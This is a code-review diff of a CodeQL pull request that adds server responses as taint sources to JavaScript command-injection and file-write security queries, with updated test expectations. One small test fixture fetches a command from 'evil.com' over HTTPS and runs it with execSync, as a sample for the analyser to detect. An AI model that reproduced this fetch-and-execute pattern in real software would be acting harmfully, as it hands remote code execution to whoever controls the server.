Merge pull request #1918 from esben-semmle/js/improve-getAResponseDataNode

Approved by asger-semmle
This commit is contained in:
semmle-qlci
2019-09-18 14:03:45 +01:00
committed by GitHub
14 changed files with 191 additions and 40 deletions

View File

@@ -16,11 +16,11 @@ import javascript
import semmle.javascript.security.dataflow.CommandInjection::CommandInjection
import DataFlow::PathGraph
from Configuration cfg, DataFlow::PathNode source, DataFlow::PathNode sink, DataFlow::Node highlight
from Configuration cfg, DataFlow::PathNode source, DataFlow::PathNode sink, DataFlow::Node highlight, Source sourceNode
where
cfg.hasFlowPath(source, sink) and
if cfg.isSinkWithHighlight(sink.getNode(), _)
then cfg.isSinkWithHighlight(sink.getNode(), highlight)
else highlight = sink.getNode()
select highlight, source, sink, "This command depends on $@.", source.getNode(),
"a user-provided value"
else highlight = sink.getNode() and
sourceNode = source.getNode()
select highlight, source, sink, "This command depends on $@.", sourceNode, sourceNode.getSourceType()

View File

@@ -1,6 +1,6 @@
/**
* @name User-controlled data written to file
* @description Writing user-controlled data directly to the file system allows arbitrary file upload and might indicate a backdoor.
* @name Network data written to file
* @description Writing network data directly to the file system allows arbitrary file upload and might indicate a backdoor.
* @kind path-problem
* @problem.severity warning
* @precision medium

View File

@@ -452,6 +452,8 @@ module ClientRequest {
or
prop = "responseText" and responseType = "text"
or
prop = "responseUrl" and responseType = "text"
or
prop = "statusText" and responseType = "text"
or
prop = "responseXML" and responseType = "document"

View File

@@ -735,34 +735,17 @@ module NodeJSLib {
result = this.(DataFlow::SourceNode).getAMethodCall(name).getArgument(0)
)
}
}
/**
* A data flow node that is the parameter of a result callback for an HTTP or HTTPS request made by a Node.js process, for example `res` in `https.request(url, (res) => {})`.
*/
private class ClientRequestCallbackParam extends DataFlow::ParameterNode, RemoteFlowSource {
ClientRequestCallbackParam() {
exists(NodeJSClientRequest req |
this = req.(DataFlow::MethodCallNode).getCallback(1).getParameter(0)
override DataFlow::Node getAResponseDataNode(string responseType, boolean promise) {
promise = false and
exists(DataFlow::ParameterNode res, DataFlow::CallNode onData |
res = getCallback(1).getParameter(0) and
onData = res.getAMethodCall("on") and
onData.getArgument(0).mayHaveStringValue("data") and
result = onData.getCallback(1).getParameter(0) and
responseType = "arraybuffer"
)
}
override string getSourceType() { result = "NodeJSClientRequest callback parameter" }
}
/**
* A data flow node that is the parameter of a data callback for an HTTP or HTTPS request made by a Node.js process, for example `body` in `http.request(url, (res) => {res.on('data', (body) => {})})`.
*/
private class ClientRequestCallbackData extends RemoteFlowSource {
ClientRequestCallbackData() {
exists(ClientRequestCallbackParam rcp, DataFlow::MethodCallNode mcn |
rcp.getAMethodCall("on") = mcn and
mcn.getArgument(0).mayHaveStringValue("data") and
this = mcn.getCallback(1).getParameter(0)
)
}
override string getSourceType() { result = "http.request data parameter" }
}
/**

View File

@@ -31,4 +31,25 @@ private class JSONStringifyAsCommandInjectionSource extends HeuristicSource,
JSONStringifyAsCommandInjectionSource() {
this = DataFlow::globalVarRef("JSON").getAMemberCall("stringify")
}
override string getSourceType() { result = "a string from JSON.stringify" }
}
/**
* A response from a remote server.
*/
class RemoteServerResponse extends HeuristicSource, RemoteFlowSource {
RemoteServerResponse() {
exists(ClientRequest r |
this = r.getAResponseDataNode() and
not exists(string url, string protocolPattern |
// exclude URLs to the current host
r.getUrl().mayHaveStringValue(url) and
protocolPattern = "(?[a-z+]{3,10}:)" and
not url.regexpMatch(protocolPattern + "?//.*")
)
)
}
override string getSourceType() { result = "a response from a remote server" }
}

View File

@@ -11,7 +11,10 @@ module CommandInjection {
/**
* A data flow source for command-injection vulnerabilities.
*/
abstract class Source extends DataFlow::Node { }
abstract class Source extends DataFlow::Node {
/** Gets a string that describes the type of this remote flow source. */
abstract string getSourceType();
}
/**
* A data flow sink for command-injection vulnerabilities.
@@ -26,6 +29,17 @@ module CommandInjection {
/** A source of remote user input, considered as a flow source for command injection. */
class RemoteFlowSourceAsSource extends Source {
RemoteFlowSourceAsSource() { this instanceof RemoteFlowSource }
override string getSourceType() { result = "a user-provided value" }
}
/**
* A response from a server, considered as a flow source for command injection.
*/
class ServerResponse extends Source {
ServerResponse() { this = any(ClientRequest r).getAResponseDataNode() }
override string getSourceType() { result = "a server-provided value" }
}
/**

View File

@@ -24,10 +24,22 @@ module HttpToFileAccess {
abstract class Sanitizer extends DataFlow::Node { }
/** A source of remote user input, considered as a flow source for writing user-controlled data to files. */
class RemoteFlowSourceAsSource extends Source {
deprecated class RemoteFlowSourceAsSource extends DataFlow::Node {
RemoteFlowSourceAsSource() { this instanceof RemoteFlowSource }
}
/**
* An access to a user-controlled HTTP request input, considered as a flow source for writing user-controlled data to files
*/
private class RequestInputAccessAsSource extends Source {
RequestInputAccessAsSource() { this instanceof HTTP::RequestInputAccess }
}
/** A response from a server, considered as a flow source for writing user-controlled data to files. */
private class ServerResponseAsSource extends Source {
ServerResponseAsSource() { this = any(ClientRequest r).getAResponseDataNode() }
}
/** A sink that represents file access method (write, append) argument */
class FileAccessAsSink extends Sink {
FileAccessAsSink() { exists(FileSystemWriteAccess src | this = src.getADataNode()) }

View File

@@ -137,8 +137,6 @@ test_RemoteFlowSources
| src/http.js:6:26:6:32 | req.url |
| src/http.js:8:3:8:20 | req.headers.cookie |
| src/http.js:9:3:9:17 | req.headers.foo |
| src/http.js:21:33:21:40 | response |
| src/http.js:23:28:23:32 | chunk |
| src/http.js:29:26:29:33 | response |
| src/http.js:30:28:30:32 | chunk |
| src/http.js:40:23:40:30 | authInfo |

View File

@@ -67,6 +67,8 @@ nodes
| other.js:17:27:17:29 | cmd |
| other.js:18:22:18:24 | cmd |
| other.js:19:36:19:38 | cmd |
| third-party-command-injection.js:5:20:5:26 | command |
| third-party-command-injection.js:6:21:6:27 | command |
edges
| child_process-test.js:6:9:6:49 | cmd | child_process-test.js:17:13:17:15 | cmd |
| child_process-test.js:6:9:6:49 | cmd | child_process-test.js:18:17:18:19 | cmd |
@@ -134,6 +136,7 @@ edges
| other.js:5:15:5:44 | url.par ... ).query | other.js:5:15:5:49 | url.par ... ry.path |
| other.js:5:15:5:49 | url.par ... ry.path | other.js:5:9:5:49 | cmd |
| other.js:5:25:5:31 | req.url | other.js:5:15:5:38 | url.par ... , true) |
| third-party-command-injection.js:5:20:5:26 | command | third-party-command-injection.js:6:21:6:27 | command |
#select
| child_process-test.js:17:13:17:15 | cmd | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:17:13:17:15 | cmd | This command depends on $@. | child_process-test.js:6:25:6:31 | req.url | a user-provided value |
| child_process-test.js:18:17:18:19 | cmd | child_process-test.js:6:25:6:31 | req.url | child_process-test.js:18:17:18:19 | cmd | This command depends on $@. | child_process-test.js:6:25:6:31 | req.url | a user-provided value |
@@ -160,3 +163,4 @@ edges
| other.js:17:27:17:29 | cmd | other.js:5:25:5:31 | req.url | other.js:17:27:17:29 | cmd | This command depends on $@. | other.js:5:25:5:31 | req.url | a user-provided value |
| other.js:18:22:18:24 | cmd | other.js:5:25:5:31 | req.url | other.js:18:22:18:24 | cmd | This command depends on $@. | other.js:5:25:5:31 | req.url | a user-provided value |
| other.js:19:36:19:38 | cmd | other.js:5:25:5:31 | req.url | other.js:19:36:19:38 | cmd | This command depends on $@. | other.js:5:25:5:31 | req.url | a user-provided value |
| third-party-command-injection.js:6:21:6:27 | command | third-party-command-injection.js:5:20:5:26 | command | third-party-command-injection.js:6:21:6:27 | command | This command depends on $@. | third-party-command-injection.js:5:20:5:26 | command | a server-provided value |

View File

@@ -0,0 +1,8 @@
let https = require("https"),
cp = require("child_process");
https.get("https://evil.com/getCommand", res =>
res.on("data", command => {
cp.execSync(command);
})
);

View File

@@ -27,8 +27,6 @@ nodes
| angularjs.js:50:22:50:36 | location.search |
| angularjs.js:53:32:53:39 | location |
| angularjs.js:53:32:53:46 | location.search |
| eslint-escope-build.js:20:22:20:22 | c |
| eslint-escope-build.js:21:16:21:16 | c |
| express.js:7:24:7:69 | "return ... + "];" |
| express.js:7:44:7:62 | req.param("wobble") |
| express.js:9:34:9:79 | "return ... + "];" |
@@ -73,7 +71,6 @@ edges
| angularjs.js:47:16:47:23 | location | angularjs.js:47:16:47:30 | location.search |
| angularjs.js:50:22:50:29 | location | angularjs.js:50:22:50:36 | location.search |
| angularjs.js:53:32:53:39 | location | angularjs.js:53:32:53:46 | location.search |
| eslint-escope-build.js:20:22:20:22 | c | eslint-escope-build.js:21:16:21:16 | c |
| express.js:7:24:7:62 | "return ... obble") | express.js:7:24:7:69 | "return ... + "];" |
| express.js:7:44:7:62 | req.param("wobble") | express.js:7:24:7:62 | "return ... obble") |
| express.js:7:44:7:62 | req.param("wobble") | express.js:7:24:7:69 | "return ... + "];" |
@@ -113,7 +110,6 @@ edges
| angularjs.js:47:16:47:30 | location.search | angularjs.js:47:16:47:23 | location | angularjs.js:47:16:47:30 | location.search | $@ flows to here and is interpreted as code. | angularjs.js:47:16:47:23 | location | User-provided value |
| angularjs.js:50:22:50:36 | location.search | angularjs.js:50:22:50:29 | location | angularjs.js:50:22:50:36 | location.search | $@ flows to here and is interpreted as code. | angularjs.js:50:22:50:29 | location | User-provided value |
| angularjs.js:53:32:53:46 | location.search | angularjs.js:53:32:53:39 | location | angularjs.js:53:32:53:46 | location.search | $@ flows to here and is interpreted as code. | angularjs.js:53:32:53:39 | location | User-provided value |
| eslint-escope-build.js:21:16:21:16 | c | eslint-escope-build.js:20:22:20:22 | c | eslint-escope-build.js:21:16:21:16 | c | $@ flows to here and is interpreted as code. | eslint-escope-build.js:20:22:20:22 | c | User-provided value |
| express.js:7:24:7:69 | "return ... + "];" | express.js:7:44:7:62 | req.param("wobble") | express.js:7:24:7:69 | "return ... + "];" | $@ flows to here and is interpreted as code. | express.js:7:44:7:62 | req.param("wobble") | User-provided value |
| express.js:9:34:9:79 | "return ... + "];" | express.js:9:54:9:72 | req.param("wobble") | express.js:9:34:9:79 | "return ... + "];" | $@ flows to here and is interpreted as code. | express.js:9:54:9:72 | req.param("wobble") | User-provided value |
| express.js:12:8:12:53 | "return ... + "];" | express.js:12:28:12:46 | req.param("wobble") | express.js:12:8:12:53 | "return ... + "];" | $@ flows to here and is interpreted as code. | express.js:12:28:12:46 | req.param("wobble") | User-provided value |

View File

@@ -0,0 +1,102 @@
nodes
| angularjs.js:10:22:10:29 | location |
| angularjs.js:10:22:10:36 | location.search |
| angularjs.js:13:23:13:30 | location |
| angularjs.js:13:23:13:37 | location.search |
| angularjs.js:16:28:16:35 | location |
| angularjs.js:16:28:16:42 | location.search |
| angularjs.js:19:22:19:29 | location |
| angularjs.js:19:22:19:36 | location.search |
| angularjs.js:22:27:22:34 | location |
| angularjs.js:22:27:22:41 | location.search |
| angularjs.js:25:23:25:30 | location |
| angularjs.js:25:23:25:37 | location.search |
| angularjs.js:28:33:28:40 | location |
| angularjs.js:28:33:28:47 | location.search |
| angularjs.js:31:28:31:35 | location |
| angularjs.js:31:28:31:42 | location.search |
| angularjs.js:34:18:34:25 | location |
| angularjs.js:34:18:34:32 | location.search |
| angularjs.js:40:18:40:25 | location |
| angularjs.js:40:18:40:32 | location.search |
| angularjs.js:44:17:44:24 | location |
| angularjs.js:44:17:44:31 | location.search |
| angularjs.js:47:16:47:23 | location |
| angularjs.js:47:16:47:30 | location.search |
| angularjs.js:50:22:50:29 | location |
| angularjs.js:50:22:50:36 | location.search |
| angularjs.js:53:32:53:39 | location |
| angularjs.js:53:32:53:46 | location.search |
| eslint-escope-build.js:20:22:20:22 | c |
| eslint-escope-build.js:21:16:21:16 | c |
| express.js:7:24:7:69 | "return ... + "];" |
| express.js:7:44:7:62 | req.param("wobble") |
| express.js:9:34:9:79 | "return ... + "];" |
| express.js:9:54:9:72 | req.param("wobble") |
| express.js:12:8:12:53 | "return ... + "];" |
| express.js:12:28:12:46 | req.param("wobble") |
| react-native.js:7:7:7:33 | tainted |
| react-native.js:7:17:7:33 | req.param("code") |
| react-native.js:8:32:8:38 | tainted |
| react-native.js:10:23:10:29 | tainted |
| tst.js:2:6:2:22 | document.location |
| tst.js:2:6:2:27 | documen ... on.href |
| tst.js:2:6:2:83 | documen ... t=")+8) |
| tst.js:5:12:5:28 | document.location |
| tst.js:5:12:5:33 | documen ... on.hash |
| tst.js:14:10:14:26 | document.location |
| tst.js:14:10:14:33 | documen ... .search |
| tst.js:14:10:14:74 | documen ... , "$1") |
| tst.js:17:21:17:37 | document.location |
| tst.js:17:21:17:42 | documen ... on.hash |
| tst.js:20:30:20:46 | document.location |
| tst.js:20:30:20:51 | documen ... on.hash |
| tst.js:23:6:23:46 | atob(do ... ing(1)) |
| tst.js:23:11:23:27 | document.location |
| tst.js:23:11:23:32 | documen ... on.hash |
| tst.js:23:11:23:45 | documen ... ring(1) |
| tst.js:26:26:26:33 | location |
| tst.js:26:26:26:40 | location.search |
| tst.js:26:26:26:53 | locatio ... ring(1) |
edges
| angularjs.js:10:22:10:29 | location | angularjs.js:10:22:10:36 | location.search |
| angularjs.js:13:23:13:30 | location | angularjs.js:13:23:13:37 | location.search |
| angularjs.js:16:28:16:35 | location | angularjs.js:16:28:16:42 | location.search |
| angularjs.js:19:22:19:29 | location | angularjs.js:19:22:19:36 | location.search |
| angularjs.js:22:27:22:34 | location | angularjs.js:22:27:22:41 | location.search |
| angularjs.js:25:23:25:30 | location | angularjs.js:25:23:25:37 | location.search |
| angularjs.js:28:33:28:40 | location | angularjs.js:28:33:28:47 | location.search |
| angularjs.js:31:28:31:35 | location | angularjs.js:31:28:31:42 | location.search |
| angularjs.js:34:18:34:25 | location | angularjs.js:34:18:34:32 | location.search |
| angularjs.js:40:18:40:25 | location | angularjs.js:40:18:40:32 | location.search |
| angularjs.js:44:17:44:24 | location | angularjs.js:44:17:44:31 | location.search |
| angularjs.js:47:16:47:23 | location | angularjs.js:47:16:47:30 | location.search |
| angularjs.js:50:22:50:29 | location | angularjs.js:50:22:50:36 | location.search |
| angularjs.js:53:32:53:39 | location | angularjs.js:53:32:53:46 | location.search |
| eslint-escope-build.js:20:22:20:22 | c | eslint-escope-build.js:21:16:21:16 | c |
| express.js:7:24:7:62 | "return ... obble") | express.js:7:24:7:69 | "return ... + "];" |
| express.js:7:44:7:62 | req.param("wobble") | express.js:7:24:7:62 | "return ... obble") |
| express.js:7:44:7:62 | req.param("wobble") | express.js:7:24:7:69 | "return ... + "];" |
| express.js:9:34:9:72 | "return ... obble") | express.js:9:34:9:79 | "return ... + "];" |
| express.js:9:54:9:72 | req.param("wobble") | express.js:9:34:9:72 | "return ... obble") |
| express.js:9:54:9:72 | req.param("wobble") | express.js:9:34:9:79 | "return ... + "];" |
| express.js:12:8:12:46 | "return ... obble") | express.js:12:8:12:53 | "return ... + "];" |
| express.js:12:28:12:46 | req.param("wobble") | express.js:12:8:12:46 | "return ... obble") |
| express.js:12:28:12:46 | req.param("wobble") | express.js:12:8:12:53 | "return ... + "];" |
| react-native.js:7:7:7:33 | tainted | react-native.js:8:32:8:38 | tainted |
| react-native.js:7:7:7:33 | tainted | react-native.js:10:23:10:29 | tainted |
| react-native.js:7:17:7:33 | req.param("code") | react-native.js:7:7:7:33 | tainted |
| tst.js:2:6:2:22 | document.location | tst.js:2:6:2:27 | documen ... on.href |
| tst.js:2:6:2:27 | documen ... on.href | tst.js:2:6:2:83 | documen ... t=")+8) |
| tst.js:5:12:5:28 | document.location | tst.js:5:12:5:33 | documen ... on.hash |
| tst.js:14:10:14:26 | document.location | tst.js:14:10:14:33 | documen ... .search |
| tst.js:14:10:14:33 | documen ... .search | tst.js:14:10:14:74 | documen ... , "$1") |
| tst.js:17:21:17:37 | document.location | tst.js:17:21:17:42 | documen ... on.hash |
| tst.js:20:30:20:46 | document.location | tst.js:20:30:20:51 | documen ... on.hash |
| tst.js:23:11:23:27 | document.location | tst.js:23:11:23:32 | documen ... on.hash |
| tst.js:23:11:23:32 | documen ... on.hash | tst.js:23:11:23:45 | documen ... ring(1) |
| tst.js:23:11:23:45 | documen ... ring(1) | tst.js:23:6:23:46 | atob(do ... ing(1)) |
| tst.js:26:26:26:33 | location | tst.js:26:26:26:40 | location.search |
| tst.js:26:26:26:40 | location.search | tst.js:26:26:26:53 | locatio ... ring(1) |
#select
| eslint-escope-build.js:21:16:21:16 | c | eslint-escope-build.js:20:22:20:22 | c | eslint-escope-build.js:21:16:21:16 | c | $@ flows to here and is interpreted as code. | eslint-escope-build.js:20:22:20:22 | c | User-provided value |

View File

@@ -0,0 +1,9 @@
import javascript
import semmle.javascript.heuristics.AdditionalSources
import semmle.javascript.security.dataflow.CodeInjection::CodeInjection
import DataFlow::PathGraph
from Configuration cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink) and source.getNode() instanceof HeuristicSource
select sink.getNode(), source, sink, "$@ flows to here and is interpreted as code.",
source.getNode(), "User-provided value"